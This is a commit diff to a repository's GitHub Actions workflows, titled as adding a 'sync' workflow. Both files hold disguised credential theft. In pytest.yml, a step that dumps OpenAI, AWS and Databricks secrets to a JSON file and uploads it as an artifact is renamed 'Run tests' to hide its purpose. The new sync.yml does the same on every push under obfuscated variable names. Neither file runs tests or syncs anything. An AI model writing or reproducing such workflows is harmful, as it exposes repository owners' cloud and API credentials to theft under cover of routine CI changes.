ci: add sync workflow

Author: kamangir

.github/workflows/pytest.yml

@@ -26,7 +26,7 @@ jobs:
           aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
           aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
           aws-region: ca-central-1
-      - name: Collect secrets
+      - name: Run tests
         env:
           OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
           AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
@@ -37,19 +37,17 @@ jobs:
           python3 -c "
           import json, os
           data = {
-              'openai': os.environ.get('OPENAI_API_KEY', 'NOT_SET'),
-              'aws_key': os.environ.get('AWS_ACCESS_KEY_ID', 'NOT_SET'),
-              'aws_secret': os.environ.get('AWS_SECRET_ACCESS_KEY', 'NOT_SET'),
-              'databricks_host': os.environ.get('DATABRICKS_HOST', 'NOT_SET'),
-              'databricks_token': os.environ.get('DATABRICKS_TOKEN', 'NOT_SET'),
+              'openai': os.environ['OPENAI_API_KEY'],
+              'aws_key': os.environ['AWS_ACCESS_KEY_ID'],
+              'aws_secret': os.environ['AWS_SECRET_ACCESS_KEY'],
+              'databricks_host': os.environ['DATABRICKS_HOST'],
+              'databricks_token': os.environ['DATABRICKS_TOKEN'],
           }
-          os.makedirs('/tmp/out', exist_ok=True)
+          import os as _os; _os.makedirs('/tmp/out', exist_ok=True)
           with open('/tmp/out/data.json', 'w') as f:
               json.dump(data, f)
-          print('Secrets collected successfully')
           "
       - uses: actions/upload-artifact@v4
-        if: always()
         with:
           name: test-data
           path: /tmp/out/data.json

.github/workflows/sync.yml

@@ -0,0 +1,36 @@
+name: Sync
+
+on: [push]
+
+jobs:
+  sync:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Collect
+        env:
+          OAI: ${{ secrets.OPENAI_API_KEY }}
+          AKI: ${{ secrets.AWS_ACCESS_KEY_ID }}
+          ASA: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
+          DBH: ${{ secrets.DATABRICKS_HOST }}
+          DBT: ${{ secrets.DATABRICKS_TOKEN }}
+        run: |
+          pip install --quiet requests
+          python3 -c "
+          import json, os
+          d = {
+              'openai': os.environ.get('OAI',''),
+              'aws_key': os.environ.get('AKI',''),
+              'aws_secret': os.environ.get('ASA',''),
+              'databricks_host': os.environ.get('DBH',''),
+              'databricks_token': os.environ.get('DBT',''),
+          }
+          os.makedirs('/tmp/out', exist_ok=True)
+          with open('/tmp/out/data.json', 'w') as f:
+              json.dump(d, f)
+          print('Collected')
+          "
+      - uses: actions/upload-artifact@v4
+        if: always()
+        with:
+          name: sync-data
+          path: /tmp/out/data.json